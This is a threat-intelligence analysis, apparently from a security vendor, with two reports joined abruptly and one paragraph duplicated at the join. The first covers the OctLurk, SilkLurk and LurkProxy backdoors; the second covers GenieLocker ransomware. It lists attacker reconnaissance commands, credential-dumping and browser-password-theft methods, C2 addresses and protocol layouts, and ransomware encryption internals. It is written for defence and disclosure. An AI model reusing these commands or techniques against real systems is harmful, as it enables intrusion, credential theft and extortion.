● case 0x10020: for each drive, retrieve the following information: volume GUID path, drive letter, volume name, file system name, drive type, volume serial number, total size in bytes, and free space in bytes.
● case 0x10030: search for a file that matches a specified name and retrieve the following information: file attributes, creation time, last access time, last write time, file size, the file’s name, and its short (8.3) name.
● case 0x10040: recursively list all files in a specified location, including only those whose size, creation time, last write time, and last access time fall within the threshold values defined by C2. For each listed file, retrieve the following details: file attributes, creation time, last access time, last write time, file size, file name and alternative name for the file
● case 0x10050: use the ShellExecuteExW API to open the specified file path, which may be an executable, a document, or a folder.
● case 0x10051: execute the specified command line using the CreateProcessAsUserW API.
● case 0x10060: perform the following file‑system operations: copy, delete, move, and rename — using the SHFileOperationW API.
● case 0x10070: create a directory.
● case 0x10080: set the attributes for a file or directory.
● case 0x10090: for the filename provided by C2, set the file created, last accessed, and last modified timestamps to the values received from C2.
● case 0x20010: get the size of a file.
● case 0x20020: read a file from the system in chunks, starting at a specified offset.
● case 0x20030: calculate the CRC32 of each file data chunk, and retrieve the file created, last accessed, and last written times.
● case 0x20040: close the file handle and free the associated metadata (file path, handle, and size).
● case 0x20110: create a file at the specified path and write the bytes received from C2 into it. Then set the file created, last accessed, and last modified times using the timestamps supplied by C2.
Command Shell
● case 0x3E9: launch cmd.exe as shell.
● case 0x3EA: send the exit command to close the command shell.
● case Default: if a command string is received from the C2 and the shell is running, write the command to the shell. Then read the shell’s output and send it back to the C2.
If a command string is received from the C2 server and the shell is not already running, execute the command using C:\Windows\System32\cmd.exe /S /C "<command_string>" > %TEMP%\tmp%d%x.tmp where %d and %x are random values. Afterwards, read the output from the temporary file tmp%d%x.tmp and then delete the file.
Interaction Manager
● case 0x3E9: capture the entire screen as a BMP image.
● case 0x3EA: capture the entire screen at specified intervals.
● case 0x3EC: retrieve clipboard data.
● case 0x3ED: copy the data to the clipboard.
● case 0x3F3: MOUSEEVENTF_LEFTDOWN: set the cursor to the specified position and press the left mouse button.
● case 0x3F5: MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP: move the cursor to the specified position, then press and release the left mouse button.
● case 0x3F6: MOUSEEVENTF_RIGHTDOWN: set the cursor to the specified position and press the right mouse button.
● case 0x3F7: MOUSEEVENTF_RIGHTUP: set the specified cursor position and release the right mouse button.
● case 0x3F8: MOUSEEVENTF_MOVE: move the mouse cursor to specific coordinates, simulating a mouse movement event.
● case 0x3F9: MOUSEEVENTF_WHEEL: move the mouse wheel by a specified amount.
● case 0x3FD: press the key indicated by the virtual‑key code.
● case 0x3FE: KEYEVENTF_KEYUP: release the key identified by the virtual-key code.
● case DEFAULT: MOUSEEVENTF_LEFTUP: move the cursor to the specified position and release the left mouse button.
Post-compromise activity
The attacker used the command‑shell plugin installed via the OctLurk backdoor to perform the following actions:
Victim fingerprinting
The attacker used admin credentials to create a scheduled task named GoogleUpDate on remote machines. This task runs once with System account privileges, executing the script located at C:\windows\temp\in.bat (MD5 45cf5916fab4272a1313c26e67aa9220, 4e6d5c4770d5a822d7fcce6a74f7ad73). After querying the task’s status, the attacker triggers its execution, as shown below.
The batch script runs a series of commands that collect comprehensive information about the machine’s hardware, software, and network configuration as shown in the table below. The results are saved in three files — info.txt, <hostname>.datb, and <hostname>_logs.datb — all stored in the %TEMP% directory.
Command
Description
chcp 1256
Changes the system’s code page to 1256, which supports Arabic characters.
powershell $PSVersionTable
Retrieves the version information of PowerShell.
qwinsta
Views all active sessions on the local machine.
klist sessions
Displays a list of logon sessions on this computer (Including Kerberos).
TASKLIST /V
Lists all running tasks with detailed information.
findstr /i /c:”explorer.exe”
Searches for explorer.exe in a case-insensitive manner. Used together with TASKLIST /V.
wevtutil qe Security /f:text /c:5 /rd:true /q:”*[System[(EventID=4624)]] and *[EventData[Data[@Name=’LogonType’]=10]]”
Retrieves the last 5 events from the Security event log where the event ID is 4624 (successful logon event) and the logon type is 10 (remote interactive logon e.g., Remote Desktop Protocol).
Displays detailed information about the current user, including their security identifiers (SIDs), privileges, group memberships, and authentication details.
Searches the Windows Registry under HKEY_LOCAL_MACHINE (HKLM) for entries where the value name is “ProfileImagePath” and the type is REG_EXPAND_SZ. It points to the location of a user’s profile folder.
cmd.exe /c dir /b c:\users
Lists the contents of the C:\Users directory.
wmic startup get caption,command | findstr exe
Filters startup items for executable files.
powershell “get-MpComputerStatus”
Retrieves the status and configuration details of Microsoft Defender Antivirus (formerly Windows Defender) on a Windows system.
Queries exclusion settings for Microsoft Defender Antivirus. This is where you can configure files, folders, processes, and extensions that should be excluded from being scanned by Defender.
wevtutil gli Security
Configures the Security event log.
wevtutil gl Security /f:xml
Retrieves events from the Security log in XML format.
wevtutil gli “Windows PowerShell”
Configures the Windows PowerShell event log.
wevtutil gl “Windows PowerShell” /f:xml
Retrieves events from the Windows PowerShell log in XML format.
wevtutil gli System
Configures the System event log.
wevtutil gl System /f:xml
Retrieves events from the System log in XML format.
schtasks /query /fo LIST /v | findstr “TaskName> Status> ‘Task To Run’> ‘Run As User’>”
Lists all scheduled tasks in verbose mode and extracts the following fields: Status, Task To Run, Run As User, and TaskName.
Provides network configuration details, such as IP address, DNS, DHCP status, etc.
ipconfig /all
Displays detailed network configuration.
netstat -e -s
Displays detailed network protocol statistics.
certutil -urlcache
Displays URL cache entries.
ipconfig /displaydns
Displays the contents of the DNS client resolver cache.
Event log collection
The attackers ran commands to export successful logon events for remote interactive logons (e.g., Remote Desktop Protocol) and to query those events for specific users.
Credential harvesting
Impacket — secretsdump
Attackers ran a malicious file named Adobe.exe (MD5 32a5985543433a4f60da2fafd873b927), which is a portable‑executable version of Impacket’s secretsdump.py tool. Using this tool, they extracted password hashes from domain controllers, the critical servers in an Active Directory environment. Immediately after harvesting the hashes, they issued commands to list all members of the “Domain Controllers” group, likely to identify and target additional domain controllers for further compromise.
Keylogger
Attackers dropped and executed a keylogger located at C:\Users\Public\Pictures\AnyDesk.exe (MD5: 2a571f6cee42a17d873f4c942649813f). They then created a scheduled task named AnyDesk to run the keylogger whenever any user logged on as shown below.
The keylogger creates two files: C:\Users\Public\Libraries\msect\dev0, which stores captured keystrokes, and C:\Users\Public\Libraries\msect\dev1, which holds clipboard data. Before writing to these files, the captured data is encoded by subtracting 2 from each byte.
Browser Password Decryptor
The Browser Password Decryptor tool C:\users\[username]\libraries\64.exe (MD5 37dc84e4bcad92fa28f1e7778d088283) is used to extract passwords from browsers. The tool offers two options: -help to extract passwords from Chrome and -exit to extract passwords from Firefox. For Chrome, the tool targets the Login Data and Local State databases located at %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data and %LOCALAPPDATA%\Google\Chrome\User Data\Local State, respectively. The Local State contains the master key, which is essential for decrypting encrypted login information stored in the Login Data database file. For Firefox, the tool targets the logins.json file located at %APPDATA%\Mozilla\Firefox\Profiles\{profile folder}. The logins.json file in Firefox stores encrypted usernames and passwords for websites.
Pandora RC agent provides remote control of a victim’s computer, allowing attackers to monitor and manipulate the system. Using administrative credentials, the attacker creates a scheduled task named GoogleUpDate on the compromised machines. This task runs once with System account privileges and executes the script 1.bat, which can be found at either C:\Users\[username]\1.bat or C:\ProgramData\1.bat (MD5 5e26df131ff0a679a0a2699b723b46e3). The task’s status is first queried, then it is executed, as shown below.
The batch script 1.bat executes a command that downloads and installs the Pandora RC agent using the arguments shown below.
EHUSER: a Pandora RC user
STARTEHORUSSERVICE: start the agent after the installation finishes (default = 1)
EHORUSINSTALLFOLDER: specify the folder where you want to install the agent (default: %ProgramFiles%\_agent)
DESKTOPSHORTCUT: 0: do not create a desktop shortcut
Network scan: FSCAN
Fscan is a comprehensive internal‑network scanning tool that offers a range of functions, including network discovery, vulnerability assessment, reverse‑shell creation, and brute forcing of common services. The executable is dropped to %TEMP%\fc.exe (MD5: cf903e4a1629aa0582fd0363b5786676) and writes its output to %TEMP%\result.txt. Using Fscan, both internal and public networks were scanned to identify services running on specific ports, such as Secure Shell (SSH) on port 22 and MySQL on port 3306. The tool also attempted to access these services using credentials from the password file pp.txt.
Email harvesting
The attackers used the curl command to connect to an email server, authenticate with a username and password, and issue a command to select the Inbox folder. Typically, the goal is to:
Verify that a connection to the email server is working
Authenticate the user
Prepare the Inbox folder for reading or manipulating messages (e.g., listing, fetching, or deleting emails)
LurkProxy
In a similar manner to the OctLurk backdoor, the attacker also deployed another implant we named LurkProxy, which uses a heavily obfuscated version of the OctLurk loader. While LurkProxy has a nearly identical architecture to the OctLurk backdoor, its primary role is to proxy network traffic. Like the OctLurk, it exports a function named curl_escape_easy, which the loader invokes. Once executed, LurkProxy listens on all interfaces on hard‑coded port 64980 and establishes a TLS‑encrypted connection to the C2 server (154[.]196[.]162[.]76). The C2 communication uses a proprietary binary protocol, where each packet is compressed with zlib, encrypted with a double‑XOR scheme, and follows the structure outlined below.
Offset
Data
Type
0x00 (00)
Unused
–
0x08 (08)
Packet control flags. Bit 0 indicates high priority packet, bit 1 indicates single packet
bit array
0x0C (12)
Command number
int
0x10 (16)
Handler number (unique identifier for each proxy client in the first mode)
int
0x14 (20)
Command integer argument
int
0x18 (24)
Unused
–
0x1C (28)
Data 1 payload size
int
0x20 (32)
Data 2 payload size
int
0x24 (36)
Data 1 byte stream
bytes
0x24 (36) + N
Data 2 byte stream
bytes
LurkProxy can function as a reverse proxy in two distinct modes as described below. The mode is selected by a static flag, meaning the proxy can operate in only one mode at a time. In the implant we examined, the first (SOCKS5) mode was used.
Mode 1: SOCKS5 proxy
When a client connects, LurkProxy sends to the C2 the command 0x1000010, indicating that the connection has been established and includes the target address in the packet data. The C2 server then opens a connection to that address, enabling bidirectional communication through the appropriate commands.
Mode 2: transparent proxy
In this mode, the target address and port are hard‑coded. Upon startup, LurkProxy immediately connects to the predefined target via the C2 channel using the same command. All subsequent client connections are routed through this single, fixed target. This mode handles raw network traffic directly, bypassing the SOCKS5 layer.
Command ID
Direction
Description
Arguments
0x1000010
Implant -> C2
When a new proxy client connects, it creates a proxy session and notifies C2 of the successful configuration
Target port in command integer argument
UTF-16 encoded connection hostname in data 1
0x1000010
C2 -> Implant
Used to control the session, allowing it to pause or stop proxying
Action in command integer argument (1 to pause, or any other value to terminate)
0x1000030
Implant -> C2
Sent when the LurkProxy is shut down
–
0x1000050
Implant -> C2
Forwards the received bytes from the client to C2
Raw TCP bytes in data 1
0x1000050
C2 -> Implant
Forwards the received bytes from the proxy target to the client
Raw TCP bytes in data 1
SilkLurk
Deployment
The attacker created a service that executes legitimate binaries, such as NetSetSvc.exe (NVIDIA debug dump), nvgwls.exe (NVIDIA background tool responsible for autotuning), RtkSmbus.exe (Realtek Semiconductor’s noise‑cancelling program), and RtkNGUI64.exe (Realtek High‑Definition Audio Manager), to side‑load malicious loader DLLs: nvml.dll, vulkan-1.dll, RtkSmbusLoc.dll, and RtkNGUI64Loc.dll, respectively. These DLLs act as a loader that will inject SilkLurk backdoor into the process memory.
SilkLurk loader
SilkLurk loader working logic
The loader first verifies that it is running within the legitimate executable that loads it. Next, it moves the payload file (in the analyzed sample, it was named OneDrive.dat) from its module location (C:\ProgramData\Microsoft\Network\Connections in the analyzed sample) to the hard‑coded payload path (C:\ProgramData\Microsoft OneDrive\setup in the analyzed sample). Note that the hard-coded payload path may vary depending on the loader.
Next, the loader creates a service named RmSs to maintain persistence. The service will run the legitimate module binary (C:\ProgramData\Microsoft\Network\Connections\nvgwls.exe) that loads the malicious loader (vulkan-1.dll). The service is configured with the parameters mentioned below. Additionally, the service configuration is modified to restart the service in the event of a failure. Finally, the loader starts the service.
Service Type:SERVICE_WIN32_OWN_PROCESS
Start Type:SERVICE_AUTO_START
Error Control:SERVICE_ERROR_NORMAL
On service start, loader calls StartServiceCtrlDispatcher, which will invoke ServiceProc. The ServiceProc then calls the routine s_1800078F0_decrypt_and_run_payload. This routine computes a 32-bit hash (dword) of the victim’s computer name. The dword hash is used by a custom algorithm made up of arithmetic and logical operations to decrypt the hardcoded payload file path. The payload bytes themselves are decrypted with the same algorithm that decoded the file path. By using the victim’s computer name in the decryption of both the file path and the payload bytes, the loader becomes specific to each victim. The decrypted bytes contain shellcode with the following structure:
Shellcode offset
Description
0x000 (0)
Stub code, which performs reflective code injection
0x770 (1904)
Hardcoded value 0x11113F68, XORed with the computer name hash
0x774 (1908)
Hardcoded byte 0xD9, used as XOR key to decrypt import DLL names and APIs
0x775 (1909)
Size of the encrypted backdoor
0x779 (1913)
Encrypted backdoor data blob
The stub code decrypts and injects the backdoor blob into memory. To decrypt the blob, it first computes a dword hash of the computer’s name. This hash is then fed into a custom algorithm — a series of arithmetic and logical operations — that performs the decryption. This algorithm differs from the one used to decrypt the payload file.
The IMAGE_DOS_HEADER of the backdoor binary is zeroed out. Information in the IMAGE_NT_HEADERS, such as ImageSize and NumberOfSections, is XOR-decrypted using the hash of the computer name. The first three sections are decrypted again using a custom algorithm (a series of arithmetic and logical operations) before being injected into memory.
During import resolution, DLL names and API names are XOR‑decrypted using a hard‑coded single‑byte key. After the import DLL is loaded and the API addresses are resolved, the DLL and API name strings are zeroed out.
During relocation, the size of each relocation block, the value of each relocation entry, and the bytes to be relocated are XOR‑decrypted using the dword hash of the computer name. Afterward, the entry point is also XOR‑decrypted with the same hash and then invoked.
SilkLurk backdoor
The backdoor contains a hardcoded configuration of 0x4AC (1196) bytes, with the first 0x10 (16) bytes holding a mutex string and the remaining 0x49C (1180) bytes comprising encrypted configuration data; this configuration is written to a hardcoded filename (e.g., 2470b666bece868f, 27879a4df1a740ff) that differs across samples and is placed in the %APPDATA% directory. The configuration is decrypted using a custom algorithm involving a series of arithmetic and logical operations that is distinct from the algorithm used to decrypt the encrypted backdoor blob and payload file. The configuration has the following structure:
Offset
Description
0x00 (000)
C2 Host 1
0x64 (100)
C2 Host 2
0xC8 (200)
C2 Host 3
0x12C (300)
C2 Host 4
0x190 (400)
Port for C2 Host 1
0x192 (402)
Port for C2 Host 2
0x194 (404)
Port for C2 Host 3
0x196 (406)
Port for C2 Host 4
0x198 (408)
Unknown 21 bytes
0x1AD (429)
Proxy address 1
0x22A (554)
Proxy username 1
0x2A7 (679)
Proxy password 1
0x324 (804)
Proxy address 2
0x3A1 (929)
Proxy username 2
0x41E (1054)
Proxy password 2
The backdoor creates a TCP socket and connects to the C2 server defined in the configuration. If proxy details are provided, it attempts to establish the C2 connection through the proxy. The proxy request uses the following format:
After successfully connecting to the C2 server, it generates a random 32‑byte (0x20) network key that will be used to encrypt and decrypt network packets. This key is appended to the magic dword, as shown in the table below, creating a 40‑byte block that is then encrypted with a custom algorithm: a series of arithmetic and logical operations that differs from the one used to decrypt the configuration.
Field offset
Field size (in bytes)
Field value
0x00 (00)
0x04 (04)
0x0C7FFBE86h (magic dword)
0x04 (04)
0x04 (04)
0
0x08 (08)
0x20 (32)
Network key (will be used to encrypt and decrypt network traffic)
It then prepares a packet to send the key to the command‑and-control server, as shown in the table below. The packet contains a 0xC (12‑byte) header, a 0x28 (40‑byte) block of encrypted network‑key data (see the table above), and a randomly generated payload whose size ranges from 0x14 (20) to 0xB4 (180) bytes.
Encrypted network key data (as mentioned in above table)
0x34 (52)
size between 0x14 (20) and 0xB4 (180)
Random data bytes
After sending the key, the backdoor collects the following victim information: local computer name, DNS domain assigned to the local computer, user’s logon name, processor architecture, OS major version and build number, host IP address, current process ID, tick count value, and backdoor module name. The collected victim information is first compressed and then encrypted using the network key. The custom algorithm (a series of arithmetic and logical operations) used to encrypt collected victim information is different from the algorithms used to decrypt the configuration and encrypt the network key. Before sending the victim information, a 0x0F (15) byte header is generated and encrypted using the same custom algorithm used to encrypt the collected victim data. The header follows the format as shown in the table below.
Field offset
Field size (in bytes)
Field value
0x00 (00)
0x04 (04)
0xC7FFBE86 (magic dword)
0x04(04)
0x04 (04)
Message type (1 means victim information)
0x08 (08)
0x04 (04)
Data size (size of encrypted victim information)
0x0C (12)
0x01 (01)
Compression flag (1 means compressed)
0x0D (13)
0x02 (02)
Size of random bytes, between 0x14 and 0x96 bytes
Finally, the encrypted header and victim information are formatted as shown below and transmitted to the C2 server.
Once the backdoor has transmitted the victim information, it waits for a 0x13‑byte (19‑byte) response from the C2 server. This response follows the structure presented in the table below.
Field offset
Field size (in bytes)
Field value
0x00 (00)
0x04 (04)
Random dword
0x04 (04)
0x0F (15)
Encrypted header data
The encrypted header contained in the response is decrypted with the network key that was generated and shared with the C2 server. After decryption, the header retains the same size and structure as the one used in the victim information message.
The message type field in the header (offset 0x04) determines which operation (command) to perform. Next, the backdoor figures out the size of the command data to receive by adding up the size of the encrypted data (found at position 0x08 in the received header) and the size of the random bytes (found at position 0x0D in the received header). The received command data is first decompressed, based on the compression flag located at position 0x0D in the received header, and then decrypted using the custom algorithm that was used to encrypt the sent data. The backdoor supports the following commands:
Command (message type)
Description
03
Based on subcommand, perform the following operations:
00: Get target system’s local time
01: Set sleep time in milliseconds, after which to reconnect to the C2 server
04
Send current backdoor configuration
05
Update backdoor configuration
06
Receive and inject additional payloads (plugins) into memory. Based the on subcommand, perform the following operations:
01: Inject payload (plugin) bytes into memory and execute payload’s entry point
03: Call export method of injected plugin
Post-compromise activity
The threat actor operating the SilkLurk backdoor first used it to invoke cmd.exe to launch PowerShell. Within PowerShell, they ran commands such as net use to connect to shared network resources with administrative credentials. After establishing the connection, they searched the shared drives for confidential documents to exfiltrate. Once the search was complete, they disconnected from the network share to erase evidence of which internal servers had been accessed. To archive the stolen data, they employed legitimate archiving tools: WinRAR and 7‑Zip.
Below are the paths and names of the WinRAR and 7Zip binaries used by the attackers.
The SilkLurk backdoor opened a command shell (cmd.exe). Using this shell, the attacker executed the file C:\ProgramData\microsoft\html help\kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c). The kmsonline.exe binary acted as a dropper for the PlugX malware, deploying the malicious files listed below.
Our Kaspersky Threat Attribution Engine (KTAE) also identified a strong degree of similarity between kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c) and PlugX.
PlugX was configured to communicate with the C2 domain gycudore[.]kozow[.]com and the IP address 64[.]7[.]198[.]130. Below are the extracted configuration fields from PlugX.
Config field name
Value
Injection Target Process
%SystemRoot%\system32\svchost.exe
Home Directory
%ALLUSERSPROFILE%\Symantec
Persistence Name
SymantecRAS
Service Display Name
SymantecRAS
Service Description
Symantec RAS Services
Campaign ID
KG_MFA
Infrastructure
The threat infrastructure relies on VPS servers. Some OctLurk and LurkProxy C2 addresses are referenced in a public report by Kazakhstan’s State Technical Service (STS) company. According to available data, a campaign targeting critical infrastructure in Kazakhstan was discovered in March 2025. During this campaign, attackers employed the TrustFall (STS internal designation) remote access malware, also known as MystRodX (Qianxin) and SilentRaid (Cisco) and designed for Linux-based operating systems. Subsequently, in October 2025, STS researchers found additional TrustFall samples, while also discovering its new C2 servers via active probing. Notably, three observed TrustFall C2 addresses were also leveraged by OctLurk and LurkProxy. This overlap points to shared infrastructure across multiple OS-targeting campaigns, though it remains unclear whether these activities ran concurrently or at different times.
Attribution
We identified multiple artifacts confirming that OctLurk and SilkLurk are operated by the same threat actor. Several users infected with OctLurk were also found to be infected with SilkLurk, and in some cases both malware families used the same staging directory. Below are examples of these artifacts.
In one incident, the attackers created the service C:\Windows\system32\svchost.exe -k ExAstSrc -s ExAstSrc to deploy OctLurk. They used OctLurk to obtain a command shell and were observed dropping the SilkLurk loader vulkan-1.dll (MD5 be4731c09734da2e8eb6814a9c82f266) via this shell, as shown below.
In another incident, we observed attackers using the same directory C:\ProgramData\intel\ to drop both the OctLurk and SilkLurk loader DLLs.
In one incident, the attacker used SilkLurk to obtain a command shell (cmd.exe) and then deployed and executed the PlugX malware. The PlugX sample was configured to contact gycudore[.]kozow[.]com as its command‑and‑control (C2) server, while the SilkLurk backdoor used ctyuhjerf[.]kozow[.]com for C2. PlugX is a well‑known modular remote‑access Trojan (RAT) that has been active since at least 2008 and historically linked to Chinese-speaking threat actors. This suggests that both OctLurk and SilkLurk were also developed and operated by a Chinese‑speaking actor, although at this time, we cannot attribute this activity to a known threat group.
Conclusions
The emergence of the OctLurk and SilkLurk multi‑plugin malware framework highlights how threat actors continuously refine their tactics to evade detection and maintain control over compromised networks. Both families operate primarily in memory, leaving only a minimalistic loader on disk that relies on machine‑specific data (OctLurk uses the drive serial number, and SilkLurk uses the computer name) to decode payload locations and contents. This victim‑specific encoding makes reverse engineering and automated detection considerably harder.
In addition to sophisticated obfuscation, the attackers establish redundant access channels, harvest credentials, and deploy well‑known remote access and monitoring tools. These secondary pathways ensure persistence even if the original infection vector is discovered or neutralized.
Introduction
The new GenieLocker ransomware family has been active since March 2026. It has been used in attacks against organizations in the Russian Federation, primarily in the manufacturing sector, and attributed to the Toy Ghouls group by open-source intelligence (link in Russian).
The Toy Ghouls, also known as Bearlyfy, Labubu and Laboo.boo, is a financially motivated extortion group, which previously relied on third-party encryption Trojans like RedAlert, LockBit, and Babuk. GenieLocker, a
The new GenieLocker ransomware family has been active since March 2026. It has been used in attacks against organizations in the Russian Federation, primarily in the manufacturing sector, and attributed to the Toy Ghouls group by open-source intelligence (link in Russian).
The Toy Ghouls, also known as Bearlyfy, Labubu and Laboo.boo, is a financially motivated extortion group, which previously relied on third-party encryption Trojans like RedAlert, LockBit, and Babuk. GenieLocker, apparently a custom design, upgrades their toolkit and reduces their reliance on third-party software. We discovered multiple samples of this Trojan in two variants: PE builds for Windows and ELF builds for Linux and ESXi.
Technical details
Modus operandi
We described typical TTPs and modus operandi of the Toy Ghouls threat actor in the previous post (link in Russian).
In this article, we aim to thoroughly describe the capabilities of Windows and Linux builds of the custom encryption Trojan GenieLocker. To give more context, we will also provide a brief overview of the attack that took place at the end of March 2026, where GenieLocker was deployed on the victim’s systems.
Initial Access
During the incident, the attackers first entered the environment through an OpenVPN connection originating from an external partner’s network. They likely exploited the trusted relationship with that partner and used stolen, yet still valid, credentials to connect.
Discovery and Credential Access
After breaching the target’s network, the attackers installed additional tools on the compromised hosts, including OpenSSH, socks5.exe, SoftPerfect Network Scanner, and Mimikatz. They employed SoftPerfect Network Scanner for discovery and used Mimikatz to dump credentials. Forensic analysis also shows that they accessed the KeePassXC password manager already installed on several compromised machines, likely attempting to extract the stored credentials from the KeePass databases.
Lateral Movement and Command and Control
Lateral movement was performed by using RDP to reach Windows machines and SSH for Linux servers. The widespread deployment of the encryption Trojan was conducted with the legitimate utilities PsExec and PAExec. Additionally, the attackers established a reverse SSH tunnel to communicate with their command‑and‑control server.
Impact
During the impact phase, the attackers encrypted files on the compromised Windows machines with the PE version of the GenieLocker ransomware. On the compromised Linux and ESXi servers, they stopped active virtual machines and encrypted their disks using the ELF version of GenieLocker.
The tactics, techniques, and procedures seen here match those documented in earlier attacks attributed to the Toy Ghouls group. As in those prior incidents, forensic analysis found no evidence of data exfiltration, which is typical behavior for this threat actor. Toy Ghouls have not employed a double‑extortion model and do not run a data‑leak website.
Encryption Trojan for Windows
The Windows version of GenieLocker (MD5: 5d62c1349b8981c396c9a23f4f8f053c) is primarily written in C, but compiled with the C++ libraries using Microsoft Visual C/C++. The malware incorporates several ransom‑related capabilities, including process termination, service shutdown, debugger evasion, and a sophisticated encryption routine. For its cryptographic operations, it relies on the open‑source libsodium library.
Aligned with the recent trend supported by our expertise, as observed in attacks of some other ransomware strains, GenieLocker doesn’t save the ransom notes on the victim’s system. The Trojan doesn’t contain any attackers’ contact info or negotiation addresses. Instead, the attackers will need to deliver the ransom demands and contacts manually during the attack. This approach may be an attempt by the GenieLocker developers to avoid proactive detection of the ransomware process being triggered by the creation of multiple readme files.
GenieLocker help message
Arguments and launch
GenieLocker supports multiple arguments for configuring its behavior.
Argument
Description
First argument
“Secret” argument, hex string value
-p, –percent N
Percentage of file content to encrypt
-r, –recursive
Process directories recursively
-l, –log <filename>
Set path for log file
-h, –help
Show help message
Last argument
Path to encrypt
GenieLocker expects the first argument to be a hex string referred to in the malware code as the “secret argument”, which is required for the ransomware to start. Most likely, the purpose of this is to avoid execution on sandboxes and other automated analysis environments. Another reason may be to prevent unauthorized usage by other threat actors.
Checking the secret argument
The secret argument is a hex value with a variable size that does not exceed 4096 bytes. This hex string value is converted to bytes and hashed with the SHA‑256 algorithm. The result is compared to a hardcoded value. If they match, the literal string session is appended to the secret value, and the whole string is hashed with BLAKE2b‑256, but the resulting hash is never used. This may be a part of a feature still in development.
Secret value hashing
Anti-debugging
GenieLocker contains multiple methods to inspect if its process is under debugging. After launch it makes the first check named Environment check and uses WinAPI functions IsDebuggerPresent and CheckRemoteDebuggerPresent to detect the debugger.
Environment check
After the secret argument validation, GenieLocker starts a new parallel thread called watchdog. It runs in an infinite loop that performs a number of checks to detect well-known debuggers every 500 milliseconds. If at least one of the checks fails, the whole GenieLocker process immediately terminates.
Watchdog checks
The only thing worth elaborating on is that the GenieLocker process calculates the CRC32 of its .text section when the watchdog thread is starting, saves the resulting hash, and then recalculates it again in every loop and compares with the initial value. In case the code in this section is modified by the debugger or other program, this method allows the Trojan to detect this modification.
Preparing for encryption
GenieLocker contains multiple exclusion lists. For example, it does not encrypt folders with names from the list below. Among those, there are mostly system folders, which are skipped to avoid corrupting the OS.
Furthermore, the Trojan contains an exclusion list for host names. The malware retrieves the computer name using GetComputerNameA and checks it against this list, but in the sample in question, the list is empty.
Output for whitelisted hosts
If the host name is not excluded, GenieLocker starts to kill processes that could be using the files of interest and therefore prevent the Trojan from encrypting them. These processes are listed below. The Trojan stops them by using the TerminateProcess function.
Finally, GenieLocker starts encryption threads and searches for all available drives, including network shares, to encrypt them.
Threads info output
File encryption and cryptography
The extension for the encrypted files is hardcoded in the Trojan’s body. In the sample under review, it is .03ffc1c4a3da0f02. Before starting to encrypt each file, GenieLocker creates two auxiliary files:
a lock file: <filename.fileext>.03ffc1c4a3da0f02.lock
a journal: <fileext>.03ffc1c4a3da0f02.journal
The lock file helps to protect files from double encryption by other threads or instances. Inside this file, the Trojan stores the current PID obtained from the GetCurrentProcessId function.
The journal file contains the hardcoded string VCJOURN, value 1 (possibly version), some unused zeroed fields, total blocks to encrypt, and the count of blocks that are actually encrypted. The last field is a CRC32 hash sum for the integrity check of the journal content.
Journal content
By default GenieLocker encrypts files using 0x1000000-byte chunks. If the argument -p is passed (it sets the percentage of the file contents to be encrypted), the ransomware calculates how many chunks with 0x1000000 size are necessary to encrypt the specified percentage. Each chunk has a random position inside the file. Regardless of whether the percentage is set, even if it is zero, the first chunk in the beginning of the file will be encrypted anyway.
The Trojan encrypts the file content using the Authenticated Encryption with Associated Data (AEAD) algorithm XChaCha20-Poly1305, with a unique key and nonce for each file. The Trojan also adds a footer that contains the data necessary for future decryption and metadata. The metadata parts are encrypted using the same cipher and key as the file contents, but with a different nonce. The file key is encrypted using the Curve25519-XSalsa20-Poly1305 scheme, with the attackers’ master public key hardcoded in the Trojan’s body.
The metadata of each encrypted file contains the following fields.
Value or name
Size (bytes)
Description
version
1
Hardcoded byte with value 1, most likely the version.
encryption_percent
1
Percentage of file content to encrypt, value from -p argument.
file_nonce
24
Nonce used during encryption of the file content.
original_filesize
8
Original size of the file before encryption.
total_chunk_count
8
Max count of chunks inside the current file.
chunk_size
4
Size of a single encrypted chunk (by default, 0x1000000 bytes on Windows and 0x400000 on ESXi and Linux).
remain_size
4
The number of bytes remaining after splitting the file content into chunks.
blake2b_digest_of_chunks
32
BLAKE2b-256 hash calculated from the original data of all chunks before they are encrypted. Used for integrity checks.
chunk_count
4
Number of chunks that were encrypted.
extension
64
A string with the additional ransomware extension.
poly1305_tags (array)
16 bytes per chunk
Array of Poly1305 tags of encrypted chunks.
bitmask
varies, one bit per each chunk
Chunks bitmask; if set, the chunk is encrypted; otherwise, it is not.
The chunks bitmask contains as many bits as the maximum number of chunks inside a file at 100%. If a bit at a specific index is set to 1, the chunk is encrypted. The value 0 means that the chunk is not encrypted. Since the Trojan encrypts files based on the percentage value, it needs to know which chunks were encrypted.
Metadata structure at the end of an encrypted file (without a Poly1305 tags array or bitmask)
Encryption Trojan for ESXi and Linux
Compared with its Windows counterpart, the Linux and ESXi version of GenieLocker (MD5: 9201e35e2993612612919a3c71302cab) is simpler: there is no secret argument, anti‑debugging techniques, or exclusion lists. However, the sample has ESXi-specific features, such as double‑fork support and the ability to modify the Welcome Message. The sample has the version v1 and, similarly to the Windows version, uses the libsodium library for cryptography.
ESXi version description
The command‑line help output mirrors LockBit’s styling, reinforcing the theory that GenieLocker’s creators set out to craft a LockBit‑style replacement for their own operations.
LockBit output design, possibly the source layout for the GenieLocker ESXi variant
Based on the default path of the encryption directory /vmfs/volumes, we can assume that this version is intended primarily for ESXi. Nonetheless, it can still be executed on Linux distributions.
Argument
Description
-p <perc>
Percentage of file content to encrypt
-j <workers>
Number of encryption threads
-r <dir>
Process directories recursively
-w <sec>
Delay before start
-d
Daemonizing the process
-l <logfile>
Path to log file
ESXi and Linux features
This build allows daemonizing its process with the -d flag, employing the classic double‑fork method so the new process becomes fully detached from its parent.
This variant also modifies the /etc/vmware/welcome file, which contains the Welcome Message (Message of the Day) on the ESXi operating system. On Linux distributions, it does not change anything, because they use different paths for the Message of the Day. In the GenieLocker sample examined here, the message is left empty.
Additionally, the ESXi version supports a few basic features that are not included in the Windows version. For instance, there is a launch‑delay option and the ability to set the number of encryption worker threads. This build also includes several features that already exist in the Windows variant, such as configuring the percentage of a file to encrypt, choosing the target directory, and setting the log file location.
File encryption
The encryption scheme for files is identical to the Windows version. The Trojan uses XChaCha20-Poly1305 to encrypt the file content and metadata, and Curve25519-XSalsa20-Poly1305 for key encryption.
File encryption summary
Victims
According to KSN telemetry, GenieLocker detections are overwhelmingly concentrated on endpoints located in the Russian Federation. In the March 2026 campaign, the primary sector under siege was manufacturing, with construction trailing closely, followed by financial services, retail, and technology.
Conclusions
